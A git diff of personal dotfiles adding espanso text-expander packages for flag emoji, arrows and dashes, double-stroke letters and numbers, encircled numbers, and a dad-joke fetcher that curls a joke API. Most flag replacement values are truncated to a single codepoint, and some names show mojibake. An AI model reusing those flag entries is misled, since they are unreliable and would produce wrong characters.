trigger: ":luxembourg:" + replace: "\U0001F1FA" + - trigger: ":latvia:" + replace: "\U0001F1FB" + - trigger: ":libya:" + replace: "\U0001F1FE" + - trigger: ":morocco:" + replace: "\U0001F1E6" + - trigger: ":monaco:" + replace: "\U0001F1E8" + - trigger: ":moldova:" + replace: "\U0001F1E9" + - trigger: ":montenegro:" + replace: "\U0001F1EA" + - trigger: ":st_martin:" + replace: "\U0001F1EB" + - trigger: ":madagascar:" + replace: "\U0001F1EC" + - trigger: ":marshall_islands:" + replace: "\U0001F1ED" + - trigger: ":north_macedonia:" + replace: "\U0001F1F0" + - trigger: ":mali:" + replace: "\U0001F1F1" + - trigger: ":myanmar_(burma):" + replace: "\U0001F1F2" + - trigger: ":mongolia:" + replace: "\U0001F1F3" + - trigger: ":macao_sar_china:" + replace: "\U0001F1F4" + - trigger: ":northern_mariana_islands:" + replace: "\U0001F1F5" + - trigger: ":martinique:" + replace: "\U0001F1F6" + - trigger: ":mauritania:" + replace: "\U0001F1F7" + - trigger: ":montserrat:" + replace: "\U0001F1F8" + - trigger: ":malta:" + replace: "\U0001F1F9" + - trigger: ":mauritius:" + replace: "\U0001F1FA" + - trigger: ":maldives:" + replace: "\U0001F1FB" + - trigger: ":malawi:" + replace: "\U0001F1FC" + - trigger: ":mexico:" + replace: "\U0001F1FD" + - trigger: ":malaysia:" + replace: "\U0001F1FE" + - trigger: ":mozambique:" + replace: "\U0001F1FF" + - trigger: ":namibia:" + replace: "\U0001F1E6" + - trigger: ":new_caledonia:" + replace: "\U0001F1E8" + - trigger: ":niger:" + replace: "\U0001F1EA" + - trigger: ":norfolk_island:" + replace: "\U0001F1EB" + - trigger: ":nigeria:" + replace: "\U0001F1EC" + - trigger: ":nicaragua:" + replace: "\U0001F1EE" + - trigger: ":netherlands:" + replace: "\U0001F1F1" + - trigger: ":norway:" + replace: "\U0001F1F4" + - trigger: ":nepal:" + replace: "\U0001F1F5" + - trigger: ":nauru:" + replace: "\U0001F1F7" + - trigger: ":niue:" + replace: "\U0001F1FA" + - trigger: ":new_zealand:" + replace: "\U0001F1FF" + - trigger: ":oman:" + replace: "\U0001F1F2" + - trigger: ":panama:" + replace: "\U0001F1E6" + - trigger: ":peru:" + replace: "\U0001F1EA" + - trigger: ":french_polynesia:" + replace: "\U0001F1EB" + - trigger: ":papua_new_guinea:" + replace: "\U0001F1EC" + - trigger: ":philippines:" + replace: "\U0001F1ED" + - trigger: ":pakistan:" + replace: "\U0001F1F0" + - trigger: ":poland:" + replace: "\U0001F1F1" + - trigger: ":st_pierre_&_miquelon:" + replace: "\U0001F1F2" + - trigger: ":pitcairn_islands:" + replace: "\U0001F1F3" + - trigger: ":puerto_rico:" + replace: "\U0001F1F7" + - trigger: ":palestinian_territories:" + replace: "\U0001F1F8" + - trigger: ":portugal:" + replace: "\U0001F1F9" + - trigger: ":palau:" + replace: "\U0001F1FC" + - trigger: ":paraguay:" + replace: "\U0001F1FE" + - trigger: ":qatar:" + replace: "\U0001F1E6" + - trigger: ":r�union:" + replace: "\U0001F1EA" + - trigger: ":romania:" + replace: "\U0001F1F4" + - trigger: ":serbia:" + replace: "\U0001F1F8" + - trigger: ":russia:" + replace: "\U0001F1FA" + - trigger: ":rwanda:" + replace: "\U0001F1FC" + - trigger: ":saudi_arabia:" + replace: "\U0001F1E6" + - trigger: ":solomon_islands:" + replace: "\U0001F1E7" + - trigger: ":seychelles:" + replace: "\U0001F1E8" + - trigger: ":sudan:" + replace: "\U0001F1E9" + - trigger: ":sweden:" + replace: "\U0001F1EA" + - trigger: ":singapore:" + replace: "\U0001F1EC" + - trigger: ":st_helena:" + replace: "\U0001F1ED" + - trigger: ":slovenia:" + replace: "\U0001F1EE" + - trigger: ":svalbard_&_jan_mayen:" + replace: "\U0001F1EF" + - trigger: ":slovakia:" + replace: "\U0001F1F0" + - trigger: ":sierra_leone:" + replace: "\U0001F1F1" + - trigger: ":san_marino:" + replace: "\U0001F1F2" + - trigger: ":senegal:" + replace: "\U0001F1F3" + - trigger: ":somalia:" + replace: "\U0001F1F4" + - trigger: ":suriname:" + replace: "\U0001F1F7" + - trigger: ":south_sudan:" + replace: "\U0001F1F8" + - trigger: ":s�o_tom�_&_pr�ncipe:" + replace: "\U0001F1F9" + - trigger: ":el_salvador:" + replace: "\U0001F1FB" + - trigger: ":sint_maarten:" + replace: "\U0001F1FD" + - trigger: ":syria:" + replace: "\U0001F1FE" + - trigger: ":eswatini:" + replace: "\U0001F1FF" + - trigger: ":tristan_da_cunha:" + replace: "\U0001F1E6" + - trigger: ":turks_&_caicos_islands:" + replace: "\U0001F1E8" + - trigger: ":chad:" + replace: "\U0001F1E9" + - trigger: ":french_southern_territories:" + replace: "\U0001F1EB" + - trigger: ":togo:" + replace: "\U0001F1EC" + - trigger: ":thailand:" + replace: "\U0001F1ED" + - trigger: ":tajikistan:" + replace: "\U0001F1EF" + - trigger: ":tokelau:" + replace: "\U0001F1F0" + - trigger: ":timor_leste:" + replace: "\U0001F1F1" + - trigger: ":turkmenistan:" + replace: "\U0001F1F2" + - trigger: ":tunisia:" + replace: "\U0001F1F3" + - trigger: ":tonga:" + replace: "\U0001F1F4" + - trigger: ":turkey:" + replace: "\U0001F1F7" + - trigger: ":trinidad_&_tobago:" + replace: "\U0001F1F9" + - trigger: ":tuvalu:" + replace: "\U0001F1FB" + - trigger: ":taiwan:" + replace: "\U0001F1FC" + - trigger: ":tanzania:" + replace: "\U0001F1FF" + - trigger: ":ukraine:" + replace: "\U0001F1E6" + - trigger: ":uganda:" + replace: "\U0001F1EC" + - trigger: ":us_outlying_islands:" + replace: "\U0001F1F2" + - trigger: ":united_nations:" + replace: "\U0001F1F3" + - trigger: ":united_states:" + replace: "\U0001F1F8" + - trigger: ":uruguay:" + replace: "\U0001F1FE" + - trigger: ":uzbekistan:" + replace: "\U0001F1FF" + - trigger: ":vatican_city:" + replace: "\U0001F1E6" + - trigger: ":st_vincent_&_grenadines:" + replace: "\U0001F1E8" + - trigger: ":venezuela:" + replace: "\U0001F1EA" + - trigger: ":british_virgin_islands:" + replace: "\U0001F1EC" + - trigger: ":us_virgin_islands:" + replace: "\U0001F1EE" + - trigger: ":vietnam:" + replace: "\U0001F1F3" + - trigger: ":vanuatu:" + replace: "\U0001F1FA" + - trigger: ":wallis_&_futuna:" + replace: "\U0001F1EB" + - trigger: ":samoa:" + replace: "\U0001F1F8" + - trigger: ":kosovo:" + replace: "\U0001F1F0" + - trigger: ":yemen:" + replace: "\U0001F1EA" + - trigger: ":mayotte:" + replace: "\U0001F1F9" + - trigger: ":south_africa:" + replace: "\U0001F1E6" + - trigger: ":zambia:" + replace: "\U0001F1F2" + - trigger: ":zimbabwe:" + replace: "\U0001F1FC" + - trigger: ":england:" + replace: "\U000E007F" + - trigger: ":scotland:" + replace: "\U000E007F" + - trigger: ":wales:" + replace: "\U000E007F" diff --git a/espanso/.config/espanso/match/packages/arrows/README.md b/espanso/.config/espanso/match/packages/arrows/README.md new file mode 100644 index 0000000..c20f743 --- /dev/null +++ b/espanso/.config/espanso/match/packages/arrows/README.md @@ -0,0 +1,16 @@ +A simple package to add arrows and dashes + + +| Symbol | Shortcut | +|--------|----------| +| — | `\--`, `\mdash`, or `\emdash` | +| – | `\ndash` or `\endash` | +| <200b> (zero-width space) | `\zwsp` | +| • | `\bul` | +| ✓ | `\check` | +| § | `\\sect` (Two slashes to avoid collision with LaTeX) | +| → | `\rarrow` | +| ← | `\larrow` | +| ↑ | `\uarrow` | +| ↓ | `\darrow` | +| ⟷ | `\lrarrow` | \ No newline at end of file diff --git a/espanso/.config/espanso/match/packages/arrows/_manifest.yml b/espanso/.config/espanso/match/packages/arrows/_manifest.yml new file mode 100644 index 0000000..e577873 --- /dev/null +++ b/espanso/.config/espanso/match/packages/arrows/_manifest.yml @@ -0,0 +1,7 @@ +author: Jordan Matelsky +description: Useful arrows and dashes +name: arrows +title: Arrows +version: 0.1.0 +homepage: "https://github.com/j6k4m8/espanso-arrows" +tags: ["symbols", "arrows"] \ No newline at end of file diff --git a/espanso/.config/espanso/match/packages/arrows/_pkgsource.yml b/espanso/.config/espanso/match/packages/arrows/_pkgsource.yml new file mode 100644 index 0000000..0aa8f31 --- /dev/null +++ b/espanso/.config/espanso/match/packages/arrows/_pkgsource.yml @@ -0,0 +1,2 @@ +--- +hub diff --git a/espanso/.config/espanso/match/packages/arrows/package.yml b/espanso/.config/espanso/match/packages/arrows/package.yml new file mode 100644 index 0000000..9c0b465 --- /dev/null +++ b/espanso/.config/espanso/match/packages/arrows/package.yml @@ -0,0 +1,29 @@ +matches: + - trigger: "\\--" + replace: "—" + - trigger: "\\mdash" + replace: "—" + - trigger: "\\emdash" + replace: "—" + - trigger: "\\ndash" + replace: "–" + - trigger: "\\endash" + replace: "–" + - trigger: "\\zwsp" + replace: "<200b>" + - trigger: "\\bul" + replace: "•" + - trigger: "\\check" + replace: "✓" + - trigger: "\\\\sect" + replace: "§" + - trigger: "\\rarrow" + replace: "→" + - trigger: "\\larrow" + replace: "←" + - trigger: "\\uarrow" + replace: "↑" + - trigger: "\\darrow" + replace: "↓" + - trigger: "\\lrarrow" + replace: "⟷" \ No newline at end of file diff --git a/espanso/.config/espanso/match/packages/dadjoke/LICENSE b/espanso/.config/espanso/match/packages/dadjoke/LICENSE new file mode 100644 index 0000000..3ddd039 --- /dev/null +++ b/espanso/.config/espanso/match/packages/dadjoke/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2020 Yordan Ivanov + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. \ No newline at end of file diff --git a/espanso/.config/espanso/match/packages/dadjoke/README.md b/espanso/.config/espanso/match/packages/dadjoke/README.md new file mode 100644 index 0000000..8a8d5f2 --- /dev/null +++ b/espanso/.config/espanso/match/packages/dadjoke/README.md @@ -0,0 +1,20 @@ +# Espanso Dadjoke + +A simple package that expands to a random dad joke every time. + +Powered by [icanhazdadjoke](https://icanhazdadjoke.com/). + +## Installation + +Make sure you have already installed [Espanso](https://espanso.org/install/) first. + +```sh +espanso install dadjoke +``` + +Now you can open Slack and type `:dadjoke` + +## Notes + +* Requires `curl` +* Not tested on Windows \ No newline at end of file diff --git a/espanso/.config/espanso/match/packages/dadjoke/_manifest.yml b/espanso/.config/espanso/match/packages/dadjoke/_manifest.yml new file mode 100644 index 0000000..4db66f5 --- /dev/null +++ b/espanso/.config/espanso/match/packages/dadjoke/_manifest.yml @@ -0,0 +1,7 @@ +author: Yordan Ivanov +description: A random dad joke every time +name: dadjoke +title: Dadjoke +version: 0.1.0 +homepage: "https://github.com/ivanovyordan/espanso-package-dadjoke" +tags: ["fun", "jokes"] \ No newline at end of file diff --git a/espanso/.config/espanso/match/packages/dadjoke/_pkgsource.yml b/espanso/.config/espanso/match/packages/dadjoke/_pkgsource.yml new file mode 100644 index 0000000..0aa8f31 --- /dev/null +++ b/espanso/.config/espanso/match/packages/dadjoke/_pkgsource.yml @@ -0,0 +1,2 @@ +--- +hub diff --git a/espanso/.config/espanso/match/packages/dadjoke/package.yml b/espanso/.config/espanso/match/packages/dadjoke/package.yml new file mode 100644 index 0000000..058954c --- /dev/null +++ b/espanso/.config/espanso/match/packages/dadjoke/package.yml @@ -0,0 +1,8 @@ +matches: + - trigger: ":dadjoke" + replace: "{{output}}" + vars: + - name: output + type: shell + params: + cmd: "curl -H 'Accept: text/plain' https://icanhazdadjoke.com/" diff --git a/espanso/.config/espanso/match/packages/double-stroke-letters/LICENSE b/espanso/.config/espanso/match/packages/double-stroke-letters/LICENSE new file mode 100644 index 0000000..b600d38 --- /dev/null +++ b/espanso/.config/espanso/match/packages/double-stroke-letters/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2021 Ihor Kopach https://github.com/kopach + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/espanso/.config/espanso/match/packages/double-stroke-letters/README.md b/espanso/.config/espanso/match/packages/double-stroke-letters/README.md new file mode 100644 index 0000000..76207b8 --- /dev/null +++ b/espanso/.config/espanso/match/packages/double-stroke-letters/README.md @@ -0,0 +1,78 @@ +# Double stroke letters + +[Espanso](https://espanso.org) package to easy write Double stroke letters. + +⭐️ Consider to star this package on [GitHub](https://github.com/kopach/espanso-package-double-stroke-letters/stargazers) — it helps! + +[✨ 👉 Check out my other espanso packages 👈 ✨](https://github.com/kopach?tab=repositories&q=espanso-package&type=source) + +

+ +![demo](https://github.com/kopach/espanso-package-double-stroke-letters/raw/main/assets/demo.gif) + +

+ +## Triggers + +| Keyword | Replaced | +| ------- | -------- | +| `;//A` | `𝔸` | +| `;//B` | `𝔹` | +| `;//C` | `ℂ` | +| `;//D` | `𝔻` | +| `;//E` | `𝔼` | +| `;//F` | `𝔽` | +| `;//G` | `𝔾` | +| `;//H` | `ℍ` | +| `;//I` | `𝕀` | +| `;//J` | `𝕁` | +| `;//K` | `𝕂` | +| `;//L` | `𝕃` | +| `;//M` | `𝕄` | +| `;//N` | `ℕ` | +| `;//O` | `𝕆` | +| `;//P` | `ℙ` | +| `;//Q` | `ℚ` | +| `;//R` | `ℝ` | +| `;//S` | `𝕊` | +| `;//T` | `𝕋` | +| `;//U` | `𝕌` | +| `;//V` | `𝕍` | +| `;//W` | `𝕎` | +| `;//X` | `𝕏` | +| `;//Y` | `𝕐` | +| `;//Z` | `ℤ` | +| `;//a` | `𝕒` | +| `;//b` | `𝕓` | +| `;//c` | `𝕔` | +| `;//d` | `𝕕` | +| `;//e` | `𝕖` | +| `;//f` | `𝕗` | +| `;//g` | `𝕘` | +| `;//h` | `𝕙` | +| `;//i` | `𝕚` | +| `;//j` | `𝕛` | +| `;//k` | `𝕜` | +| `;//l` | `𝕝` | +| `;//m` | `𝕞` | +| `;//n` | `𝕟` | +| `;//o` | `𝕠` | +| `;//p` | `𝕡` | +| `;//q` | `𝕢` | +| `;//r` | `𝕣` | +| `;//s` | `𝕤` | +| `;//t` | `𝕥` | +| `;//u` | `𝕦` | +| `;//v` | `𝕧` | +| `;//w` | `𝕨` | +| `;//x` | `𝕩` | +| `;//y` | `𝕪` | +| `;//z` | `𝕫` | + +## Contribute + +Please, feel free to contribute to this package on [GitHub](https://github.com/kopach/espanso-package-double-stroke-letters) + +## 📄 License + +This espanso package licensed under the [MIT](https://github.com/kopach/espanso-package-double-stroke-letters/blob/master/LICENSE) diff --git a/espanso/.config/espanso/match/packages/double-stroke-letters/_manifest.yml b/espanso/.config/espanso/match/packages/double-stroke-letters/_manifest.yml new file mode 100644 index 0000000..4a41d3d --- /dev/null +++ b/espanso/.config/espanso/match/packages/double-stroke-letters/_manifest.yml @@ -0,0 +1,7 @@ +author: Ihor Kopach (https://kopach.dev) +description: Easy write 𝕕𝕠𝕦𝕓𝕝𝕖 𝕤𝕥𝕣𝕠𝕜𝕖 𝕝𝕖𝕥𝕥𝕖𝕣𝕤 +name: double-stroke-letters +title: Double stroke letters +version: 1.0.0 +homepage: 'https://github.com/kopach/espanso-package-double-stroke-letters' +tags: ["symbols", "letters"] \ No newline at end of file diff --git a/espanso/.config/espanso/match/packages/double-stroke-letters/_pkgsource.yml b/espanso/.config/espanso/match/packages/double-stroke-letters/_pkgsource.yml new file mode 100644 index 0000000..0aa8f31 --- /dev/null +++ b/espanso/.config/espanso/match/packages/double-stroke-letters/_pkgsource.yml @@ -0,0 +1,2 @@ +--- +hub diff --git a/espanso/.config/espanso/match/packages/double-stroke-letters/package.yml b/espanso/.config/espanso/match/packages/double-stroke-letters/package.yml new file mode 100644 index 0000000..1d6c31f --- /dev/null +++ b/espanso/.config/espanso/match/packages/double-stroke-letters/package.yml @@ -0,0 +1,109 @@ + +matches: + # {{{ Double Stroke Letters + # https;//www.webnots.com/alt-code-shortcuts-for-double-stroke-letters-and-numbers/ + - trigger: ';//A' + replace: '𝔸' + - trigger: ';//B' + replace: '𝔹' + - trigger: ';//C' + replace: 'ℂ' + - trigger: ';//D' + replace: '𝔻' + - trigger: ';//E' + replace: '𝔼' + - trigger: ';//F' + replace: '𝔽' + - trigger: ';//G' + replace: '𝔾' + - trigger: ';//H' + replace: 'ℍ' + - trigger: ';//I' + replace: '𝕀' + - trigger: ';//J' + replace: '𝕁' + - trigger: ';//K' + replace: '𝕂' + - trigger: ';//L' + replace: '𝕃' + - trigger: ';//M' + replace: '𝕄' + - trigger: ';//N' + replace: 'ℕ' + - trigger: ';//O' + replace: '𝕆' + - trigger: ';//P' + replace: 'ℙ' + - trigger: ';//Q' + replace: 'ℚ' + - trigger: ';//R' + replace: 'ℝ' + - trigger: ';//S' + replace: '𝕊' + - trigger: ';//T' + replace: '𝕋' + - trigger: ';//U' + replace: '𝕌' + - trigger: ';//V' + replace: '𝕍' + - trigger: ';//W' + replace: '𝕎' + - trigger: ';//X' + replace: '𝕏' + - trigger: ';//Y' + replace: '𝕐' + - trigger: ';//Z' + replace: 'ℤ' + - trigger: ';//a' + replace: '𝕒' + - trigger: ';//b' + replace: '𝕓' + - trigger: ';//c' + replace: '𝕔' + - trigger: ';//d' + replace: '𝕕' + - trigger: ';//e' + replace: '𝕖' + - trigger: ';//f' + replace: '𝕗' + - trigger: ';//g' + replace: '𝕘' + - trigger: ';//h' + replace: '𝕙' + - trigger: ';//i' + replace: '𝕚' + - trigger: ';//j' + replace: '𝕛' + - trigger: ';//k' + replace: '𝕜' + - trigger: ';//l' + replace: '𝕝' + - trigger: ';//m' + replace: '𝕞' + - trigger: ';//n' + replace: '𝕟' + - trigger: ';//o' + replace: '𝕠' + - trigger: ';//p' + replace: '𝕡' + - trigger: ';//q' + replace: '𝕢' + - trigger: ';//r' + replace: '𝕣' + - trigger: ';//s' + replace: '𝕤' + - trigger: ';//t' + replace: '𝕥' + - trigger: ';//u' + replace: '𝕦' + - trigger: ';//v' + replace: '𝕧' + - trigger: ';//w' + replace: '𝕨' + - trigger: ';//x' + replace: '𝕩' + - trigger: ';//y' + replace: '𝕪' + - trigger: ';//z' + replace: '𝕫' + # }}} diff --git a/espanso/.config/espanso/match/packages/double-stroke-numbers/LICENSE b/espanso/.config/espanso/match/packages/double-stroke-numbers/LICENSE new file mode 100644 index 0000000..b600d38 --- /dev/null +++ b/espanso/.config/espanso/match/packages/double-stroke-numbers/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2021 Ihor Kopach https://github.com/kopach + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/espanso/.config/espanso/match/packages/double-stroke-numbers/README.md b/espanso/.config/espanso/match/packages/double-stroke-numbers/README.md new file mode 100644 index 0000000..9ac5373 --- /dev/null +++ b/espanso/.config/espanso/match/packages/double-stroke-numbers/README.md @@ -0,0 +1,36 @@ +# 𝟙𝟚𝟛 Double stroke numbers + +[Espanso](https://espanso.org) package to easy write Double stroke numbers. + +⭐️ Consider to star this package on [GitHub](https://github.com/kopach/espanso-package-double-stroke-numbers/stargazers) — it helps! + +[✨ 👉 Check out my other espanso packages 👈 ✨](https://github.com/kopach?tab=repositories&q=espanso-package&type=source) + +

+ +![demo](https://github.com/kopach/espanso-package-double-stroke-numbers/raw/main/assets/demo.gif) + +

+ +## Triggers + +| Keyword | Replaced | +| ------- | -------- | +| `;//0` | `𝟘` | +| `;//1'` | `𝟙` | +| `;//2'` | `𝟚` | +| `;//3'` | `𝟛` | +| `;//4'` | `𝟜` | +| `;//5'` | `𝟝` | +| `;//6'` | `𝟞` | +| `;//7'` | `𝟟` | +| `;//8'` | `𝟠` | +| `;//9'` | `𝟡` | + +## Contribute + +Please, feel free to contribute to this package on [GitHub](https://github.com/kopach/espanso-package-double-stroke-numbers) + +## 📄 License + +This espanso package licensed under the [MIT](https://github.com/kopach/espanso-package-double-stroke-numbers/blob/master/LICENSE) diff --git a/espanso/.config/espanso/match/packages/double-stroke-numbers/_manifest.yml b/espanso/.config/espanso/match/packages/double-stroke-numbers/_manifest.yml new file mode 100644 index 0000000..c835637 --- /dev/null +++ b/espanso/.config/espanso/match/packages/double-stroke-numbers/_manifest.yml @@ -0,0 +1,7 @@ +author: Ihor Kopach (https://kopach.dev) +description: "Easy write double stroke numbers: 𝟙𝟚𝟛" +name: double-stroke-numbers +title: Double stroke numbers +version: 1.0.0 +homepage: 'https://github.com/kopach/espanso-package-double-stroke-numbers' +tags: ["symbols", "numbers"] \ No newline at end of file diff --git a/espanso/.config/espanso/match/packages/double-stroke-numbers/_pkgsource.yml b/espanso/.config/espanso/match/packages/double-stroke-numbers/_pkgsource.yml new file mode 100644 index 0000000..0aa8f31 --- /dev/null +++ b/espanso/.config/espanso/match/packages/double-stroke-numbers/_pkgsource.yml @@ -0,0 +1,2 @@ +--- +hub diff --git a/espanso/.config/espanso/match/packages/double-stroke-numbers/package.yml b/espanso/.config/espanso/match/packages/double-stroke-numbers/package.yml new file mode 100644 index 0000000..4489c72 --- /dev/null +++ b/espanso/.config/espanso/match/packages/double-stroke-numbers/package.yml @@ -0,0 +1,25 @@ + +matches: + # {{{ Double Stroke Numbers + # https://www.webnots.com/alt-code-shortcuts-for-double-stroke-letters-and-numbers/ + - trigger: ';//0' + replace: '𝟘' + - trigger: ';//1' + replace: '𝟙' + - trigger: ';//2' + replace: '𝟚' + - trigger: ';//3' + replace: '𝟛' + - trigger: ';//4' + replace: '𝟜' + - trigger: ';//5' + replace: '𝟝' + - trigger: ';//6' + replace: '𝟞' + - trigger: ';//7' + replace: '𝟟' + - trigger: ';//8' + replace: '𝟠' + - trigger: ';//9' + replace: '𝟡' + # }}} diff --git a/espanso/.config/espanso/match/packages/encircled-numbers/LICENSE b/espanso/.config/espanso/match/packages/encircled-numbers/LICENSE new file mode 100644 index 0000000..b600d38 --- /dev/null +++ b/espanso/.config/espanso/match/packages/encircled-numbers/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2021 Ihor Kopach https://github.com/kopach + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/espanso/.config/espanso/match/packages/encircled-numbers/README.md b/espanso/.config/espanso/match/packages/encircled-numbers/README.md new file mode 100644 index 0000000..d6736ff --- /dev/null +++ b/espanso/.config/espanso/match/packages/encircled-numbers/README.md @@ -0,0 +1,105 @@ +# ①❷③ Encircled numbers + +[Espanso](https://espanso.org) package to easy write encircled or enclosed numbers. + +⭐️ Consider to star this package on [GitHub](https://github.com/kopach/espanso-package-encircled-numbers/stargazers) — it helps! + +[✨ 👉 Check out my other espanso packages 👈 ✨](https://github.com/kopach?tab=repositories&q=espanso-package&type=source) + +

+ +![demo](https://github.com/kopach/espanso-package-encircled-numbers/raw/main/assets/demo.gif) + +

+ +## Triggers + +### Encircled numbers 0-50 + +| Keyword | Replaced | +| ------- | -------- | +| `;o0` | `⓪` | +| `;o1` | `①` | +| `;o2` | `②` | +| `;o3` | `③` | +| `;o4` | `④` | +| `;o5` | `⑤` | +| `;o6` | `⑥` | +| `;o7` | `⑦` | +| `;o8` | `⑧` | +| `;o9` | `⑨` | +| `;o.10` | `⑩` | +| `;o.11` | `⑪` | +| `;o.12` | `⑫` | +| `;o.13` | `⑬` | +| `;o.14` | `⑭` | +| `;o.15` | `⑮` | +| `;o.16` | `⑯` | +| `;o.17` | `⑰` | +| `;o.18` | `⑱` | +| `;o.19` | `⑲` | +| `;o.20` | `⑳` | +| `;o.21` | `㉑` | +| `;o.22` | `㉒` | +| `;o.23` | `㉓` | +| `;o.24` | `㉔` | +| `;o.25` | `㉕` | +| `;o.26` | `㉖` | +| `;o.27` | `㉗` | +| `;o.28` | `㉘` | +| `;o.29` | `㉙` | +| `;o.30` | `㉚` | +| `;o.31` | `㉛` | +| `;o.32` | `㉜` | +| `;o.33` | `㉝` | +| `;o.34` | `㉞` | +| `;o.35` | `㉟` | +| `;o.36` | `㊱` | +| `;o.37` | `㊲` | +| `;o.38` | `㊳` | +| `;o.39` | `㊴` | +| `;o.40` | `㊵` | +| `;o.41` | `㊶` | +| `;o.42` | `㊷` | +| `;o.43` | `㊸` | +| `;o.44` | `㊹` | +| `;o.45` | `㊺` | +| `;o.46` | `㊻` | +| `;o.47` | `㊼` | +| `;o.48` | `㊽` | +| `;o.49` | `㊾` | +| `;o.50` | `㊿` | + +### Negative encircled numbers 0-20 + +| Keyword | Replaced | +| -------- | -------- | +| `;no0` | `⓿` | +| `;no1` | `❶` | +| `;no2` | `❷` | +| `;no3` | `❸` | +| `;no4` | `❹` | +| `;no5` | `❺` | +| `;no6` | `❻` | +| `;no7` | `❼` | +| `;no8` | `❽` | +| `;no9` | `❾` | +| `;no.10` | `❿` | +| `;no.11` | `⓫` | +| `;no.12` | `⓬` | +| `;no.13` | `⓭` | +| `;no.14` | `⓮` | +| `;no.15` | `⓯` | +| `;no.16` | `⓰` | +| `;no.17` | `⓱` | +| `;no.18` | `⓲` | +| `;no.19` | `⓳` | +| `;no.20` | `⓴` | + +## Contribute + +Please, feel free to contribute to this package on [GitHub](https://github.com/kopach/espanso-package-encircled-numbers) + +## 📄 License + +This espanso package licensed under the [MIT](https://github.com/kopach/espanso-package-encircled-numbers/blob/master/LICENSE) diff --git a/espanso/.config/espanso/match/packages/encircled-numbers/_manifest.yml b/espanso/.config/espanso/match/packages/encircled-numbers/_manifest.yml new file mode 100644 index 0000000..f36fb31 --- /dev/null +++ b/espanso/.config/espanso/match/packages/encircled-numbers/_manifest.yml @@ -0,0 +1,7 @@ +author: Ihor Kopach (https://kopach.dev) +description: "Easy write encircled or enclosed numbers: ①❷③" +name: encircled-numbers +title: Encircled numbers +version: 1.0.0 +homepage: "https://github.com/kopach/espanso-package-encircled-numbers" +tags: ["symbols", "numbers"] \ No newline at end of file diff --git a/espanso/.config/espanso/match/packages/encircled-numbers/_pkgsource.yml b/espanso/.config/espanso/match/packages/encircled-numbers/_pkgsource.yml new file mode 100644 index 0000000..0aa8f31 --- /dev/null +++ b/espanso/.config/espanso/match/packages/encircled-numbers/_pkgsource.yml @@ -0,0 +1,2 @@ +--- +hub diff --git a/espanso/.config/espanso/match/packages/encircled-numbers/package.yml b/espanso/.config/espanso/match/packages/encircled-numbers/package.yml new file mode 100644 index 0000000..a044b9f --- 